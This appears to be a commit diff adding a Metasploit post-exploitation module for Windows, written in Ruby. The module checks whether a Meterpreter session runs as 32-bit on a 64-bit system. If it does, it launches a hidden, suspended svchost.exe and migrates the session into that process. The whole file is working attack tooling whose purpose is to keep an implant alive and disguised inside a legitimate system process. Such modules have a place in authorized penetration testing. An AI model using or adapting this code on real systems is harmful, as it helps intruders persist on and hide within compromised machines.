|
| 1 | +require 'msf/core' |
| 2 | + |
| 3 | +class MetasploitModule < Msf::Post |
| 4 | + include Msf::Post::Windows::Registry |
| 5 | + include Msf::Post::File |
| 6 | + include Msf::Post::Common |
| 7 | + |
| 8 | + def initialize(info={}) |
| 9 | + super(update_info(info, |
| 10 | + 'Name' => 'Architicture Migrate', |
| 11 | + 'Description' => %q{This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.}, |
| 12 | + 'License' => MSF_LICENSE, |
| 13 | + 'Author' => ['Koen Riepe ([email protected])'], |
| 14 | + 'References' => [''], |
| 15 | + 'Platform' => [ 'win' ], |
| 16 | + 'Arch' => [ 'x86', 'x64' ], |
| 17 | + 'SessionTypes' => [ 'meterpreter' ] |
| 18 | + )) |
| 19 | + end |
| 20 | + |
| 21 | + def is_32_bit_on_64_bits() |
| 22 | + apicall = session.railgun.kernel32.IsWow64Process(-1,4)["Wow64Process"] |
| 23 | + if apicall == "\x00\x00\x00\x00" |
| 24 | + migrate = false |
| 25 | + else |
| 26 | + migrate = true |
| 27 | + end |
| 28 | + return migrate |
| 29 | + end |
| 30 | + |
| 31 | + def get_windows_loc() |
| 32 | + apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir",255,255)["lpBuffer"] |
| 33 | + windir = apicall.split(":")[0] |
| 34 | + return windir |
| 35 | + end |
| 36 | + |
| 37 | + def run |
| 38 | + if is_32_bit_on_64_bits() |
| 39 | + print_error("The meterpreter is not the same architecture as the OS! Upgrading!") |
| 40 | + windir = get_windows_loc() |
| 41 | + newproc = windir + ':\windows\sysnative\svchost.exe' |
| 42 | + if exist?(newproc) |
| 43 | + print_status("Starting new x64 process #{newproc}") |
| 44 | + pid = session.sys.process.execute(newproc,nil,{'Hidden' => true,'Suspended' => true}).pid |
| 45 | + print_good("Got pid #{pid}") |
| 46 | + print_status("Migrating..") |
| 47 | + session.core.migrate(pid) |
| 48 | + if pid == session.sys.process.getpid |
| 49 | + print_good("Success!") |
| 50 | + else |
| 51 | + print_error("Migration failed!") |
| 52 | + end |
| 53 | + end |
| 54 | + else |
| 55 | + print_good("The meterpreter is the same architecture as the OS!") |
| 56 | + end |
| 57 | + end |
| 58 | +end |
0 commit comments